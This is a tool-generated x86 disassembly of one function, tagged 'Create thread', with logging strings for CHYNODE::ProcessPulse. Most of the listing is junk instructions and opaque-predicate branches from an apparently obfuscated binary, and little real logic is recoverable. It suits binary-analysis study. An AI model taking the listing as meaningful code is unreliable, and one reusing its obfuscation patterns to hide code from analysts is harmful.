Function at 0x1009a326
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
pushfd
test byte [0x100970eb], 1
jne 0x100971ec
and ecx, edx
sbb dword [ebx], 0x73
sub al, dl
mov ebp, 0xd623abf7
mov byte [ecx + 0x61c51f87], ah
inc edi
sbb al, 0x5e
sub byte [ebx], ch
xchg ecx, eax
push ecx
pop ebx
mov ecx, 0xfda8424e
or byte [esi], al
xchg esp, eax
jbe 0x100970bb
mov ah, 0xf0
or esp, esi
adc dword [ebx], 0x48e98b9a
call 0x103d5b83
xchg dword [ebx], edi
stc
jge 0x10097175
xchg esi, eax
cmpsb byte [esi], byte es:[edi]
popal
stosd dword es:[edi], eax
push ecx
sti
leave
mov edx, 0x3d460769
inc esi
adc dh, byte [ecx - 0x65]
mov al, 0xb2
out 0xb7, eax
dec ecx
mov cl, 0x2f
neg esi
fidivr dword [ecx - 0x18]
mov bl, 0x3b
cmpsb byte [esi], byte es:[edi]
fld qword [ebx - 0x42]
xchg byte [ecx + 0x2f], al
mov ah, dh
cdq
xor edi, dword [ecx - 0x40]
dec esi
test eax, esi
dec edi
sti
sub al, byte [eax + 0x7c]
test dword [eax + 0x6438e5b6], edx
fadd dword gs:[ecx - 0x7e867541]
sub eax, 0x9d25ff71
sbb al, 0xb6
inc edx
in al, dx
fcom dword [ebx + ecx]
bound ecx, qword [esi + 0x691e8932]
or dword [ecx + 0x15], edx
xchg ebp, eax
mov ecx, 0xd9e7c72c
push ds
imul ecx, dword [ecx], 0xb9951551
sub al, 0xc7
out 0xd9, eax
xchg esp, eax
pushfd
sbb byte [ebp - 0x14651855], ch
pop ss
inc esi
xchg esi, eax
aad 0x2d
sal ebp, 0x17
push esi
leave
mov ebx, 0x6a5aba6a
mov gs, word [eax + 0x7b1aa9a]
into
jnp 0x10097128
not dword [edx - 0x59]
dec edx
xchg dword [ebx + 0x43754555], edx
call 0x16d3711a
push es
xor al, 3
jg 0x1009718a
aam 0x2d
add al, 0x51
inc esi
xchg edx, eax
test bl, cl
sbb dword [edi + 0x7d], ebx
sbb eax, 0xc6a81a37
shl dword [edx], 1
pop es
dec edx
inc edi
xchg byte [eax], al
pop ss
xor byte [esp + ebx*2], dl
push ds
or al, 0x94
sti
cdq
dec edx
pop ss
mov bl, 0x44
loop 0x100971af
jno 0x100971f1
xchg ebp, eax
xor dh, byte [esi - 0x15636d7b]
mov esp, dword [ebx + 0xf03a832]
lahf
into
popfd
add edi, 0x21
push edi
pushfd
test byte [0x100972cd], 0x57
jne 0x100972ce
ja 0x100971d9
insd dword es:[edi], dx
jno 0x10097248
fcmovu st(0), st(7)
xlatb
scasb al, byte es:[edi]
fsub st(0)
mov word [edi + 0x20], cs
push eax
and byte [edx + 0x5c], ah
salc
out dx, eax
push 0x73
sub al, 0x79
push ecx
xchg ecx, eax
sti
xor cl, 0xf0
mov eax, dword [edx - 0x733df91f]
mov dh, byte [eax - 0x380064bc]
in eax, 0x9c
pushal
mov bl, 0x16
test eax, 0xb8644401
sub al, 0x72
pop ds
xchg ecx, eax
or eax, dword [edi + eax]
mov edx, 0xfd7683c5
add eax, dword [edx]
dec ebp
xor eax, 0xd06473de
mov byte [edx], ah
std
sbb eax, 0xb20abbce
mov ebp, 0xd1c34e44
xor al, 0xc8
dec edi
pop ebp
insb byte es:[edi], dx
out dx, eax
xchg dword [edx - 0x3c], edx
stosd dword es:[edi], eax
push edx
in al, 0xb2
mov dword [0x3d8fb6fd], eax
fsub dword [esp + ecx*2 - 0x37]
push ds
push ebp
mov al, byte [0x5dec8a52]
bswap edi
fisttp dword [eax - 0x33]
imul edx, dword [ecx - 0xe], 0x3517806b
sub esi, dword [edx - 8]
idiv dword [eax - 0x7e]
xor dl, bh
mov ebx, 0x37019f75
pushal
pop ss
sbb bh, byte [edx + 0x7b05890f]
xor eax, 0xaa27d238
inc edx
cdq
in eax, 0xe0
and dh, byte [edi + 0x309e2a89]
mov bh, 0x4d
dec edx
xor bl, 0xc4
lahf
cmc
inc esp
popal
outsd dx, dword [esi]
rcr byte [eax + 0x45], cl
mov byte [ebp - 0x18], ch
outsb dx, byte [si]
int 0x73
mov al, 0x53
lea edi, [esi + 0x5f8dd908]
mov ch, 0x3b
bsf edx, esi
and byte [ebp + 0x5b29a1e9], bl
ror byte [eax + 0x1dfd0062], 1
into
mov ebx, 0x44bdb20a
dec esi
ret
popfd
mov esi, ecx
call fcn.1004b712
push eax
push str.Entering_CHYNODE::ProcessPulse.....GUID:_s
push 0
push 3
call fcn.10049c0c
add esp, 0x14
pushfd
test byte [0x100973d2], 0xa7
je 0x100973d3
fld qword [eax]
add byte [eax], al
sbb ecx, ebp
mov ah, 0xa2
pop ebx
or eax, 0xdc34a33e
add al, 0xea
and al, 4
xor byte [ebp - 0x6dcfd9e0], bh
sbb byte [edi], bh
lea ebx, [eax]
xchg bh, bl
sbb byte [ebp - 0x35], ah
inc esp
pop ds
salc
add ecx, dword [edi]
out 0x58, eax
jg 0x100972f2
dec eax
inc ebx
loopne 0x1009734e
salc
nop
add ecx, dword [ebp + ebp - 0x76]
inc ebp
jl 0x1009735e
rcr byte [eax], 1
pop ds
int1
cmc
add byte [eax + 0x6827a590], dh
test dword [edi + 0x44], 0xeb50dfd5
cmp cl, bl
test byte [edx - 0xdbce437], ch
xchg edi, eax
scasd eax, dword es:[edi]
mov al, 8
mov edx, edi
and edx, eax
adc bl, byte [edi]
inc esi
cmp byte [ecx + ecx], bl
dec ebx
pushal
add dword [ebp + 0xa], ecx
and dword [edx + 0x5fa7e695], ebx
cmpsd dword [esi], dword es:[edi]
pop edi
jno 0x100973c2
arpl word [ecx + 0x784013de], cx
mov esi, ebx
adc eax, dword [eax + 0x78]
cmp byte [ebx - 0x75], bl
in al, dx
or dword [eax + 0x5568d9e7], eax
add ch, dl
mov bh, 0x69
push esi
push edx
push esp
and eax, 0x57a8b7d6
test al, 0x57
in eax, 0x7c
sti
jl 0x10097378
push ebx
out 0x17, eax
xor ebx, dword [esi - 0x37bba2fd]
and dl, ah
cld
jns 0x100973d4
in eax, dx
ja 0x1009737b
and ebx, dword [ebx + 0x40]
pop ebx
inc eax
movsb byte es:[edi], byte [esi]
push ebx
jno 0x10097390
ja 0x10097370
xor byte [edx], al
push 0x68
xchg esp, eax
adc edi, dword [ecx - 0x79]
inc esi
cmp al, 0x6a
mov bh, 0x89
mov ebp, 0xbaf9cee2
push ds
inc ebx
lea esi, [ecx + 0x75b396ad]
sub esi, dword [eax]
xor dl, byte [edx]
rol dword [esi + eax - 0x71], 0xb7
jnp 0x1009743b
mov ebp, ds
cdq
stc
jne 0x1009735b
cwde
add eax, 0x9e708cdf
lea edi, [ebp + 0x6a]
and byte [ebp + 0x7fa98be7], cl
push ss
inc eax
popfd
and dword [ebp - 4], 0
lea ebx, [esi + 0x4c1]
push edi
push ebx
pushfd
test byte [0x10097447], 0x37
jne 0x10097448
pop ebp
stosd dword es:[edi], eax
push esi
xor eax, 0xd4f106a5
call 0x5bca9a39
push edx
sub ah, byte [edx - 0x1f9e6bc6]
jb 0x100973c8
cmp dl, byte [ecx - 0x48378d20]
retf
mov bh, 0xcb
pop ecx
jae 0x1009740f
sbb al, 0x9c
cmp al, 0xf
add eax, 0x17a43515
fimul word [0xc589f9cd]
cmp eax, 0xb96c85a7
int 0x28
jb 0x10097494
pushal
mov ebx, 0x9d5d5f0f
loop 0x1009746d
adc dh, byte [ebp + 0x4bcf5837]
push cs
salc
push ds
cmp dword [esi], 0xffffffae
xchg dword [edi + edx*2], edi
mov ebx, 0x65705b5d
out dx, al
dec edx
jle 0x100973fa
mov dword [0x6639968e], eax
or al, 0xbb
std
inc esp
popfd
call fcn.10041098
pop ecx
pop ecx
cmp eax, 1
je 0x10097535
inc dword [ebp - 4]
add ebx, 0x5d
cmp dword [ebp - 4], 6
jl 0x100973de
jmp 0x10097e66
add byte [esi + esi*8 + 0x9753305], bl
adc al, bl
je 0x10097534
add eax, 0x10097533
fmul dword [edi]
test byte [eax - 0x74000000], bh
xchg edi, eax
push esp
jo 0x100974ca
mov word [edi - 0x49b68fac], ss
pop esp
mov dh, 0x5c
dec edx
inc edx
dec ecx
jb 0x100974f1
fst qword [0x251e9883]
cmp al, 0xb4
adc ebp, dword [ebx + 0x469773eb]
xchg edi, eax
inc esi
pushal
test eax, 0xae831f36
jecxz 0x100974a2
mov dword [0xae7bdcd6], eax
scasb al, byte es:[edi]
cmp al, 0xe0
xor al, byte [edx - 0xfbe9c98]
test byte [ebp + edx*4 + 0x77f8a6da], cl
test byte [ebp + 0x1a], al
sub byte [esi + 0x45f80d95], ch
pop ss
jae 0x1009753b
inc ecx
invalid
dec ebp
inc esp
add dword ds:[esi], ebp
add eax, 0xb60d953b
jg 0x10097470
mov ch, 0x5d
or eax, 0x4e923cd5
xchg edx, eax
add byte [ebx], dl
cmp eax, 0x356d8cb
das
mov esi, 0xbb9b6765
jle 0x100974d2
dec edx
lea ebp, [edx - 0x1b]
mov edi, 0x62934cf3
stc
and al, byte [edx]
push ss
pop ecx
pop ebp
dec edx
imul ecx, dword [esi + 0x1ad7baf3], 0xffffffad
add eax, 0x98d9bf96
jne 0x1009750f
aad 0x47
imul eax, dword [eax + eax*4 - 0x52], 0xffffff9c
loop 0x100974a9
mov eax, dword [0xe513f7f3]
inc edx
inc edx
xor cl, byte [ecx]
stosb byte es:[edi], al
inc edx
lea ebp, [ebx]
cmc
xlatb
pop ecx
mov esp, 0xc5e27cd4
test dword [eax + 0x3a], edi
push esp
daa
cld
aaa
dec ebp
mov ch, 0x2a
dec edx
dec ebx
sub al, 0xae
add cl, dl
lodsd eax, dword [esi]
test al, 0x9b
mov ah, 3
shr dword [ebp + 0x3b49ba8], 1
popfd
mov ebx, dword [ebp - 4]
imul ebx, ebx, 0x5d
lea edi, [esi + ebx + 0x4bd]
cmp dword [edi], 0
pushfd
test byte [0x10097563], 0xca
jne 0x10097664
cdq
push ss
pushfd
or byte [ecx - 0x51], 0xb6
push ebx
mov dh, 0x48
scasb al, byte es:[edi]
scasb al, byte es:[edi]
add al, 0xce
sub dl, byte [edx - 0x1193914f]
sub eax, 0xbeb4c57f
xchg edx, eax
and byte [esi + 0x7ad42174], al
js 0x1009752e
fdiv dword [esi - 0x43782444]
and dword [0x7333f760], ebp
and ah, al
ror dh, 0x39
mov edx, 0xe99682bc
mov esi, 0x886d5b9a
cmpsd dword [esi], dword es:[edi]
inc eax
in eax, 0x8b
cmp byte [edi + 0x624b4dae], 0x7a
test al, 0x36
popfd
xor ch, byte [eax + 0x29e2edf9]
movsd dword es:[edi], dword [esi]
nop
dec ebx
xor al, 0xc5
aaa
sbb byte [ecx + edx*8], 0x7e
sar byte [eax], 1
in eax, 0x55
and ebp, dword cs:[esp + ecx*8 + 0x53affc18]
push ebx
xchg edi, ebp
add byte [ebx + 0x786da461], bh
jle 0x100975c3
dec dword [edx - 0x48]
mov bh, 0x5b
invalid
dec edx
mov eax, 0x9bc65bb7
nop
aaa
adc al, 0x5b
xor dword [esp + ebp*8], ebp
in eax, 0xe9
pop ds
mov word [edi], ds
loopne 0x1009755b
test eax, 0x88e6de65
dec edx
cmp dword [edi + 0x25d5e028], 0xb38f5ca4
push esp
add esp, dword [esi + 0x25]
jb 0x100975e5
movsb byte es:[edi], byte [esi]
pop esp
invalid
dec esp
cmp eax, 0xad6036f3
cmp bl, bl
ror byte [edx + 0x4752fed0], 0x5e
into
imul esp, esi, 0x8cca8d4b
enter 0x3b87, 0xffffffffffffffd9
inc edi
jne 0x100975b9
mov eax, cs
xchg dword [ebx], edi
fld dword [edi + 0x75]
lodsd eax, dword [esi]
aam 0xd6
push edi
cmpsb byte [esi], byte es:[edi]
jbe 0x1009759b
mov dh, 0x76
mov ebp, 0x19a38237
lahf
and ch, ch
jno 0x100975a9
test esi, 0xf3d44380
push esi
push 0x4c
sbb ebp, dword [edx - 0x7e1b7df6]
xlatb
les ebp, [edx + 0x5f]
scasd eax, dword es:[edi]
dec edx
imul ecx, dword [ebx], 0x65
push cs
mov dl, 0x1c
xchg ebp, eax
dec ebp
cwde
xchg dword [eax], edi
int3
xor byte [ebp - 0x63], ah
pop edi
inc edx
pop edx
in al, dx
jge 0x10097604
mov ebp, 0xab7b7e6a
jns 0x1009767b
dec eax
nop
mov dh, 0xf6
jg 0x100975ef
jns 0x100976cd
popfd
jne 0x100978db
push dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1d]
push str.CHYNODE::ProcessPulse:
push 0
push 3
pushfd
test byte [0x1009771c], 4
jne 0x1009771d
add ebx, dword [esi + esi*8 + 0x9771c05]
adc byte [edi + ecx], al
test dword [edx + 0x4f000000], edx
dec edi
mov cl, 7
adc dl, cl
jle 0x1009767c
mov esi, 0x152e0b2f
mov gs, ecx
std
pop ds
mov edx, 0x8eeb1463
jno 0x10097699
jmp 0xca28ad9b
int1
int 0x83
cmpsb byte [esi], byte es:[edi]
jecxz 0x1009764a
push ecx
cmp eax, 0x35571c46
sbb al, 0xbe
cmc
mov ds, word [ecx]
sbb dl, cl
push eax
mov dword [ecx - 0x620cb052], ebp
and al, byte [ebx]
and bh, byte [ebx - 0x7e]
std
pop eax
adc ebp, ebx
mov al, 0xf9
dec edx
jno 0x1009766e
in al, dx
add byte [edx - 0x3c6fc773], ah
add dword [edx + 0x226364dc], edx
jb 0x100976f4
pop edx
inc edi
cmpsb byte [esi], byte es:[edi]
cmp al, 0xeb
sub dh, byte [ebp + edx - 0x1dce4d2d]
test dh, dl
cmp eax, 0x91f377bf
test byte [esi - 0x4d76b013], dh
salc
push es
pop ebx
pop edx
mov dword [edx + 0x5a5b06d6], esi
mov esp, 0x76e6d121
mov esi, 0xafc6b3aa
test byte [ebp + 0x3dfcad7c], cl
adc eax, 0x98742ba1
xchg ecx, eax
pushfd
push es
movsb byte es:[edi], byte [esi]
push esi
mov dword [0xbd8abb0], eax
push ebp
cmp byte [ebx - 0x32], bl
popfd
mov dword [edi], eax
pushfd
test byte [0x1009773c], 0xbf
jne 0x1009783d
pop esp
aam 0xa7
das
ficomp dword [ecx + 0x3e9237cb]
dec cl
test byte [ebp - 0x70974b8f], 0x2e
in al, 0x2b
sbb esi, dword [eax + ebx]
stc
inc edi
outsd dx, dword [esi]
scasb al, byte es:[edi]
sal bl, 1
inc bx
and dword [esi - 0x29dbbff3], esp
inc ebx
loopne 0x1009774c
or eax, 0x2af34a17
dec esp
dec esi
mov edx, 0x9b5ad008
pop ecx
js 0x10097721
inc ebx
loop 0x100977b5
mov dl, 0xb6
jb 0x10097721
cdq
mov ah, 0xc
sub eax, 0x53e56be4
push ds
xchg edx, eax
out 0x44, eax
xchg ebp, eax
push ebp
popfd
pop ebx
jno 0x100977db
sbb cl, byte [ebx - 0xadbeca2]
inc ebx
mov esp, 0x71614476
nop
test bh, dh
dec eax
mov ah, 0xd6
pop edi
jns 0x100977cc
or eax, 0x18b67a97
pop ds
add byte [eax - 0x1030b87], al
daa
mov bh, 0x97
jne 0x10097801
pushfd
sub byte [esi + 0x1c135c60], bl
sub byte [edi + 0x188a8a04], cl
mov dh, 0x37
sbb eax, 0xdacecad4
push ebp
rol dword [ebp - 0x6523bf51], 1
sub eax, dword [ecx]
mov ds, word [ecx - 0x44136127]
mov ebp, 0xffa72ed6
cdq
shr dword [edx], 1
rcr byte [ebp - 0x4e16296d], cl
add byte [edx + ebx*2 - 0x6afced66], ch
test eax, 0x6eab4b9a
salc
cmpsd dword cs:[esi], dword es:[edi]
call [ecx - 0x622dd52f]
xchg ebx, eax
salc
jmp 0x6ab5788d
mov cl, 0
lodsb al, byte [esi]
pop edx
lcall 0x4b9a, 0xa9950312
stosd dword es:[edi], eax
outsb dx, byte [esi]
daa
int3
jl 0x10097842
xor ch, byte [esp + esi + 0x695dfea1]
loopne 0x1009780e
popal
out dx, eax
arpl word [esi + 0x3f6a4e12], bx
cmpsd dword [esi], dword es:[edi]
xchg ebx, eax
cmp ebp, ebp
jb 0x100977d8
inc edi
mov byte [ecx - 0x32837a9b], dl
and dword [ecx], eax
cwde
or dword [esi], ecx
int 0x80
cmp eax, 0xcf8cb3d9
sal eax, 0x54
cwde
push esi
jb 0x10097839
test eax, 0xf07ca3a0
invalid
cli
dec ebp
pop ebx
inc esp
popfd
call fcn.10049c0c
pushfd
test byte [0x100978d6], 0x5c
jne 0x100978d7
call [esi + esi*8 + 0x978d605]
adc byte [edi + ecx - 0x7b], bl
xchg byte [eax], al
add byte [eax], al
jecxz 0x10097892
loop 0x10097838
or eax, 0x76aca607
cwde
pop edi
sar bl, 1
pop es
adc byte [esp + esi*2 + 0x357be0d0], ch
sbb edi, dword [edi]
cmc
leave
cmp ebx, esp
test byte [eax + 0x2f960e8c], bh
jl 0x100978e0
lodsd eax, dword [esi]
mov dword [0xe3c366cb], eax
push eax
xchg ecx, eax
lodsd eax, dword [esi]
xchg ebx, eax
imul esi, esi, 0x78
sub byte [edi + 0x2c58ea14], 0xbb
pushfd
xlatb
test al, 0xee
jns 0x10097906
js 0x100978de
dec edi
fldl2e
inc esp
mov bl, 0xa5
pop es
and bh, byte [esi]
jnp 0x1009788d
ffreep st(5)
sub al, 0xfb
shl dword [eax + 0x116b804a], 0xcf
mov eax, dword [0xa3034f0a]
jl 0x1009785e
test eax, 0x10ca9b5d
or al, 0x56
inc edx
mov esi, 0x53e4e2eb
popfd
sbb al, 0x10
movsb byte es:[edi], byte [esi]
jmp dword [ecx - 0x5094de3b]
push ebx
pop ebx
dec dword [edx + edx*2 - 0x5e]
dec ecx
cmp al, 0x18
or al, 0xd1
mov eax, dword [eax]
cmp esi, dword [edx]
cmp esp, 0x33
or edi, edx
popfd
add esp, 0x10
push edi
mov ecx, esi
mov byte [esi + ebx + 0x4d5], 0
call fcn.100914a8
pushfd
push ds
aad 4
add byte [eax], al
add al, ch
mov ebp, 0x9cffff9b
test byte [0x1009792c], 0x35
jne 0x10097a2d
mov al, 0xd8
jno 0x100978ca
cmpsd dword [esi], dword es:[edi]
sbb dword [edx + edi*8 + 0xe], edi
call ebx
jb 0x1009790c
adc dword [ecx - 0x3c], 0xdea11805
cmc
fdivrp st(5)
jno 0x100978c3
fist dword [eax - 0x74]
adc dword es:[edx + 0x10], ebx
and byte [0xa98bac14], bl
js 0x1009794c
int 0x39
dec eax
mov al, byte [0x921a606b]
int 0xd7
cdq
int1
out dx, al
lds ebp, [edi]
out dx, eax
or edx, edi
dec edx
or eax, 0x57b308fc
jns 0x10097942
jbe 0x100978e7
or dword [ebx + 0x2b], edx
mov eax, dword [0xa6d9e479]
add al, 0x70
mov ebx, 0xebf4ea24
leave
fldenv [esi + 0x24bb7004]
ljmp 0x245d
fistp word [ebp + 0x24]
cmpsd dword [esi], dword es:[edi]
rcl ah, 1
rcl byte [eax + 0x6f9d877e], cl
lodsb al, byte [esi]
pop ds
and byte [ecx - 0x17], ch
outsd dx, dword [esi]
xchg esp, eax
stc
pushal
sbb ah, dh
lahf
mov cl, byte [0x13f7369d]
frstor dword [edi]
call dword [edi + 0x34]
xor byte [eax + 0x15], bh
in al, 0x5b
bound edi, qword [eax]
mov bh, 0x98
bound edi, qword [edx - 0x240eb689]
add dword [edi - 0x74], 0x2a
sub eax, esi
push edi
push eax
jo 0x10097960
je 0x10097921
stosd dword es:[edi], eax
mov bh, 5
fild word [edi]
rol dword [edx + 0x20], cl
fiadd word [ebx - 0x71]
jbe 0x1009798c
add eax, 0x42d307df
and dh, bl
inc ebx
invalid
into
sbb al, 0xa5
push 0x6a
outsb dx, byte [esi]
pop ss
mov ebp, dword [eax - 0x250b6e0e]
sbb eax, 0x4b1764b4
pextrw ebp, mm0, 0xc7
cmp ebx, dword [eax - 0x1a]
adc edi, dword [eax - 0x2f]
sbb esi, dword [edi + eax*2]
pop edi
add ebx, 0xffffffc5
inc edx
xor eax, 0xce974454
pop ebx
shl dword [edi - 0x1254fd2a], cl
sub dl, cl
clc
popal
in eax, 0x48
xor byte [ebx + 0x43], bh
add ch, byte [ebx]
push cs
out 0x97, al
mov edi, dword [ebp + 0x5b]
pop esi
test dword [esi], edi
cdq
cmpsd dword [esi], dword es:[edi]
call 0xe1d191d0
add byte [0xfee2529d], ah
jle 0x10097a4d
sub dword [0xfc9da47f], ebx
loop 0x100979bb
enter 0x2a86, 0xffffffffffffffdd
aam 0xd
add ebp, esi
mov bh, 0x8a
inc esi
mov ebp, 0xa8c5c1b1
je 0x100979f1
xchg ecx, eax
xchg ecx, ebp
scasd eax, dword es:[edi]
sahf
jg 0x10097a1d
mov dl, 0x1e
cmp al, 0x9f
out 0x67, eax
lodsb al, byte [esi]
cmpsd dword [esi], dword es:[edi]
out dx, eax
neg dword [edi + 0x6a]
arpl word [ebx + 0xf0216f7], bp
not dword [edx]
fcom dword [ecx]
aam 0x28
rcr dword [ebx - 0x16a632d], 1
salc
adc byte [ebx], bh
invalid
popfd
test eax, eax
jne 0x10097e66
mov ebx, dword [ebp + 8]
test byte [ebx + 0x7a], 1
je 0x10097bab
mov ecx, esi
call fcn.10056eb6
cmp eax, 6
jne 0x10097bab
pushfd
test byte [0x10097a9d], 0x65
jne 0x10097a9e
adc byte [ebp + 0x75], ah
inc ecx
sbb dword [esp - 0x3548baca], ebx
inc edi
sbb dword [ebp - 0x5a], esi
xor edi, esi
lahf
sbb byte [eax - 0x147c92e3], 0xe0
out 0x4a, al
fistp dword [esi - 0x52425f7d]
stosb byte es:[edi], al
std
pop es
scasd eax, dword es:[edi]
xor al, byte cs:[esi]
pop ds
dec esp
add eax, 0xe74a8f55
cmc
lds edi, [eax - 0x381ac303]
push edx
add byte [esp + edx + 0x71a08d72], ah
cmpsd dword [esi], dword es:[edi]
sbb esp, dword [ebp - 2]
jle 0x10097a59
popfd
push dword [ebp - 4]
push 0x10147a60
push 0
push 3
call fcn.10049c0c
add esp, 0x10
push dword [ebp - 4]
pushfd
test byte [0x10097ba2], 0x32
jne 0x10097ba3
stc
mul byte [edx + ebx*4 + 0x2694333b]
mov ds, ecx
mov eax, 0x8ee4c9fa
int3
dec esp
fnstcw word [ecx + 0x79d027ab]
shl byte [edi], 0xaa
int1
popfd
mov ecx, esi
call fcn.100956d4
mov ecx, esi
call fcn.10056eb6
cmp eax, 6
jne 0x10097cde
add dword [eax], eax
add byte [esi + esi*8 + 0x97be305], bl
adc byte [edi + 0x75], bl
pop ds
pushfd
test byte [0x10097be3], 0x5f
jne 0x10097be4
sub eax, 0xb4b63ecc
or al, byte [edi]
sub byte [edx], 0xd8
mov dl, ah
or eax, 0x865ccf8e
jl 0x10097bfe
push ebx
movsb byte es:[edi], byte [esi]
jae 0x10097bb8
sbb dl, byte [edi]
fisub word [edx - 0x2d]
add dword [eax], ebx
popfd
cmp dword [esi + 4], 0
pushfd
test byte [0x10097c13], 0x89
jne 0x10097c14
cmp ch, ah
xchg ecx, eax
aad 0xe6
cli
fild word [esi + 0x1dd166c]
or byte [edi], dl
add dword [eax], ecx
pop ss
sbb cl, ch
jae 0x10097c4f
test eax, 0x9171ca81
inc edx
salc
mov ecx, 0x8ffa97d9
inc eax
js 0x10097b97
popfd
jne 0x10097cde
push dword [ebp - 4]
pushfd
test byte [0x10097cc3], 0x1c
jne 0x10097cc4
mov ebx, 0x15170557
xchg edx, eax
cmpsb byte [esi], byte es:[edi]
loop 0x10097c71
lahf
xor dword [ecx + 0x32b8761e], ebp
push esi
mov edi, 0xda101e94
enter 0x4846, 0x2e
xor dword [eax + 0x72], esp
aad 0xc8
push ebx
push ecx
cdq
nop
jb 0x10097c4c
sar ah, 0x53
into
shl dword [ebp + 0x3c], 1
int3
invalid
popfd
push 0x10147a28
push 0
push 3
call fcn.10049c0c
add esp, 0x10
push edi
mov ecx, esi
call fcn.10090088
test byte [ebx + 0x7a], 2
je 0x10097e66
cmp dword [esi + 0x28f], 0
je 0x10097e66
push dword [ebp - 4]
push 0x101479ec
push 0
push 3
call fcn.10049c0c
add esp, 0x10
push dword [ebp - 4]
mov ecx, esi
call fcn.10095318
pushfd
test byte [0x10097d64], 0x39
jne 0x10097e65
sub eax, 0x78c6b13e
mov cl, 0x62
pop ss
xchg edx, ecx
xor byte [eax + 0x26eccc58], bl
sbb eax, 0xc7a31260
sti
aaa
sub al, 0x93
and ah, byte [eax*2 - 0x1fd3c13d]
lds ecx, [0x99920359]
xchg ebp, eax
inc esp
adc eax, dword [ecx]
in eax, dx
adc esp, dword [edx + 0x70]
inc edi
xor eax, dword [esi]
mov eax, 0x6e987d02
mov eax, 0xeecc5e63
xor eax, 0xa8cd88aa
mov eax, 0xb3bfd955
test byte [esi], ah
enter 0xffffffffffffe2d0, 0xffffffffffffffd1
lahf
nop
bound ecx, qword [ebx]
push ebp
fnstcw word [edi - 0x37d97b4d]
shl dl, 1
rcr dword [edi + 0x550b6290], 1
out 0x35, eax
cdq
cld
dec esp
and esp, dword [esi + 0x6c]
adc ebx, esi
xadd byte [eax - 0x21119052], ah
mul byte [esp + ecx*2]
shl byte [eax - 0x21119052], 0xf6
and al, 0x4c
add esp, eax
rol eax, 1
adc byte [edx], 0x36
lds ecx, [eax]
stosd dword es:[edi], eax
jnp 0x10097d65
rcr dword [ebp + 0x6ac9076e], 0xd0
sbb esp, 0x3b
mov bh, 0x7d
mov edx, 0x255cd316
nop
sub eax, 0x60887e17
push ss
pop ebx
aaa
sbb byte [ebp - 0x156d9270], bh
inc eax
pop ss
adc eax, 0x48f7fd05
cmp byte ds:[ecx + 0x2d], 0x5c
add al, 0x86
mov dword [0x43f81d59], eax
sub dword [ebx - 0x38a218f3], ecx
popal
daa
pop eax
jecxz 0x10097d7e
inc esp
dec edx
into
push eax
sal dword [edi + 0x55], cl
mov eax, 0xb2197ebf
xchg byte [edi - 0x70], bl
sub edi, dword [ecx - 0x42]
test al, 0x84
imul esp, dword [edx - 0x748dab6c], 0xab509d8e
push 0x39
out dx, eax
jbe 0x10097e31
pop esp
call 0x90eca363
jle 0x10097dd8
or bh, byte [eax - 0x7c]
xlatb
fcomp qword [ebp + 0x48ee72fa]
out dx, al
dec eax
cmp edx, dword [ecx]
je 0x10097e04
fldcw word [ecx + 0x70]
lodsd eax, dword [esi]
sbb esi, dword [eax - 0x5d]
cld
mov ah, 0x31
push 0x3e4fb3ba
fisub dword [ecx + 0x7e77c231]
xor edx, eax
ja 0x10097e9d
scasd eax, dword es:[edi]
sbb dword [edx], ebp
test dword [edx - 0x2d], 0x66a63ac3
sub dword [eax - 0x77083043], ebx
inc esi
jne 0x10097e1b
jmp 0x45b6b479
inc ebx
lodsd eax, dword ss:[esi]
xor eax, 0x6d09aa0b
sbb byte [ebp + ebp - 0x5e1bd6e7], 0xc3
push edx
xor byte [edi], al
lahf
lodsd eax, dword [esi]
cmc
mov ah, 0x9c
sub ebx, dword [edx]
jg 0x10097df2
aam 0x2c
dec edi
inc ebp
sahf
idiv al
leave
and al, 0
xchg esp, eax
pop edi
aad 0x88
fst st(7)
ja 0x10097eb7
popal
jns 0x10097ea4
cdq
popfd
pop edi
pop esi
xor eax, eax
pop ebx
leave
pushfd
test byte [0x10097eea], 0xce
jne 0x10097eeb
lodsd eax, dword [esi]
dec esp
cmpsd dword [esi], dword es:[edi]
mov byte [ebp + 0x5b], bh
sub byte [edi - 0x7f], 0x1f
sal byte [edi + 0x6a30ed99], 0x8b
add eax, 0x9dfef0da
dec ebx
mov esi, 0x32eabd4a
jo 0x10097f0b
lodsb al, byte [esi]
pop ss
les esp, [eax]
cmovl edx, dword [edi]
and al, bh
int 0x15
enter 0xffffffffffffe4dc, 0xffffffffffffffad
pop ds
inc esi
mov esp, 0x8c66c994
and eax, 0x82bef736
int 0x17
mov esp, dword [edx]
or dword [ecx - 0x24], 0x62
pop ds
cmpsd dword [esi], dword es:[edi]
pop ebp
or byte [eax + edi*2], 0xbd
push ebx
inc ebx
cmp al, byte [esi + 0x16]
xor cl, byte ss:[edx + 0x32]
cld
fadd qword cs:[eax + 0x19]
and dword [edi + 0x4c], ebp
and al, 2
arpl si, ax
jl 0x10097f4b
cmp eax, 0xd7b66789
or dword [edx], ecx
adc dword [edx + 0x3b32d0a2], eax
push ebx
mov eax, dword [0xda65af62]
jae 0x10097f50
popfd
ret 4
inc ebp
idiv dword [esi]
pop eax
lodsd eax, dword [esi]
mov ah, 0xc
arpl word [0x1735a01b], ax
cmp eax, 0xe49d5e9d
pop esp
fcompi st(0)
mov dl, byte [esi - 0x7404fd9d]
popal
imul esi, edi, 0x65
stc
bound eax, qword [esi + 0x77]
and bl, byte [0x51e2dfed]
ja 0x10097f52
sbb eax, 0x51e2dfed
mov edi, 0x62a283d
mov dh, ch
sub ch, cl
bt dword [esi - 0x1f645a44], esi
lahf
sub dword [edx], edx
cmp dword [eax], edx
sbb ecx, dword [esi]
push cs
pop ss
fsub qword [esi]
cli
jg 0x10097f57
add al, 0xdc
mov edx, 0xb45d7b14
fdivr qword [edx - 0x4ba284ec]
pop ebp
mov ah, 0x5c
pop esp
adc dword [esi - 0x7d], esi
adc cl, byte [edx - 0x62233aef]
pop ecx
mov edx, 0xa74474f4
shr byte [ebx + 0x73], 0x3c
dec edx
cmp ecx, ecx
inc edi
mov edx, 0x13464a60
loop 0x10097f2e
popfd
xor edi, edi
pushfd
test byte [0x10097fba], 0x22
je 0x10097fbb
sbb bh, ch
out dx, eax
pop edi
pop esp
cmp al, 0xf0
pop eax
mov bh, 0x91
inc esp
xor esp, ecx
xchg edi, eax
cmp al, 1
je 0x10097fdf
dec ebp
jns 0x10097f9b
mul byte [esi]
cdq
cdq
push ecx
sub dword [eax - 0x4e], esp
pop esp
test eax, 0xbb2dd0f7
cmp eax, 0xea1a2fa0
